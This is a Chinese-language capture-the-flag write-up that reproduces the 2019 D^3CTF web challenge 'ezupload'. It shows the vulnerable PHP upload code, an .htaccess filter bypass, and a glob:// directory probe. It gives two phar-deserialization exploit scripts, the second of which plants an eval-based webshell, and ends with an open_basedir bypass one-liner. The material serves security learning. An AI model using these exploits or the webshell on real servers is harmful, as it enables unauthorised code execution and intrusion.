复现2019D^3CTF_Web

复现2019D^3CTF_Web

当初做的时候就贼怂,在许多地方卡了,现在来学习一下

ezupload

给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
<?php
class dir{
public $userdir;
public $url;
public $filename;
public function __construct($url,$filename) {
$this->userdir = "upload/" . md5($_SERVER["REMOTE_ADDR"]);
$this->url = $url;
$this->filename = $filename;
if (!file_exists($this->userdir)) {
mkdir($this->userdir, 0777, true);
}
}
public function checkdir(){
if ($this->userdir != "upload/" . md5($_SERVER["REMOTE_ADDR"])) {
die('hacker!!!');
}
}
public function checkurl(){
$r = parse_url($this->url);
if (!isset($r['scheme']) || preg_match("/file|php/i",$r['scheme'])){
die('hacker!!!');
}
}
public function checkext(){
if (stristr($this->filename,'..')){
die('hacker!!!');
}
if (stristr($this->filename,'/')){
die('hacker!!!');
}
$ext = substr($this->filename, strrpos($this->filename, ".") + 1);
if (preg_match("/ph/i", $ext)){
die('hacker!!!');
}
}
public function upload(){
$this->checkdir();
$this->checkurl();
$this->checkext();
$content = file_get_contents($this->url,NULL,NULL,0,2048);
if (preg_match("/\<\?|value|on|type|flag|auto|set|\\\\/i", $content)){
die('hacker!!!');
}
file_put_contents($this->userdir."/".$this->filename,$content);
}
public function remove(){
$this->checkdir();
$this->checkext();
if (file_exists($this->userdir."/".$this->filename)){
unlink($this->userdir."/".$this->filename);
}
}
public function count($dir) {
if ($dir === ''){
$num = count(scandir($this->userdir)) - 2;
}
else {
$num = count(scandir($dir)) - 2;
}
if($num > 0) {
return "you have $num files";
}
else{
return "you don't have file";
}
}
public function __toString() {
return implode(" ",scandir(__DIR__."/".$this->userdir));
}
public function __destruct() {
$string = "your file in : ".$this->userdir;
file_put_contents($this->filename.".txt", $string);
echo $string;
}
}

if (!isset($_POST['action']) || !isset($_POST['url']) || !isset($_POST['filename'])){
highlight_file(__FILE__);
phpinfo();
die();
}

$dir = new dir($_POST['url'],$_POST['filename']);
if($_POST['action'] === "upload") {
$dir->upload();
}
elseif ($_POST['action'] === "remove") {
$dir->remove();
}
elseif ($_POST['action'] === "count") {
if (!isset($_POST['dir'])){
echo $dir->count('');
} else {
echo $dir->count($_POST['dir']);
}
}

上传.htaccess

checkext()过滤了php的一些后缀.php .php5 .php4 .php3 .php2 .phtml .pht可以想到用.htaccess配置文件来绕过,但是

1
2
3
if (preg_match("/\<\?|value|on|type|flag|auto|set|\\\\/i", $content)){
die('hacker!!!');
}

又检查了文件内容SetHandler application/x-httpd-php 这种直接被过滤了
可以使用AddHandler php7-script .xxx绕过


现在可以解析.txt文件了,
有两处地方有file_put_contents()可以上传文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function upload(){
$this->checkdir();
$this->checkurl();
$this->checkext();
$content = file_get_contents($this->url,NULL,NULL,0,2048);
if (preg_match("/\<\?|value|on|type|flag|auto|set|\\\\/i", $content)){
die('hacker!!!');
}
file_put_contents($this->userdir."/".$this->filename,$content);
}
public function __destruct() {
$string = "your file in : ".$this->userdir;
file_put_contents($this->filename.".txt", $string);
echo $string;
}

上面那个过滤了太多
下面那个可以利用phar来上传任意内容的.txt文件
upload()里file_get_contents()也可以触发phar
还有个小细节

__destruct()里上传文件我们要知道网站根目录

爆破目录

预期解

action=count&url=1&filename=1&dir=glob:///var/www/html/*/upload/164e576d567fd233baf2c7110bxxxxx/*
可以使用glob协议爆破文件目录

非预期

通过上传phar文件调用__toString()里的return implode(" ",scandir(__DIR__."/".$this->userdir));来读取目录
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class dir{
public $userdir;
public $url;
public $filename;
}
$d1 = new dir("test", "testdd");
$d1->userdir = '../';
$d2 = new dir("url", "filename");
$d2->filename = "upload/164e576d567fd233baf2c7110b954cfd/test3";
$d2->userdir = $d1;
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"." __HALT_COMPILER(); ");
$phar->setMetadata($d2);
$phar->addFromString("test.jpg","test");
$phar->stopBuffering();

运行后生成phar文件,将phar文件进行gzip压缩
把压缩后的.phar.gz文件放到自己vps下


再写shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class dir{
public $userdir;
public $url;
public $filename;
}

$a = new dir("url", "filename");
$a->filename = '/var/www/html/35adf1ae7eb57341/upload/164e576d567fd233baf2c7110b954cfd/dkk';
$a->userdir = '<?php eval($_REQUEST[122]); phpinfo();';

@unlink('1.phar');
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("GIF89a" . " __HALT_COMPILER(); ");
$phar->setMetadata($a);
$phar->stopBuffering();
?>

拿到shell之后有open_basedirdisable_functions蚁剑插件直接过了
或者
chdir('..');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));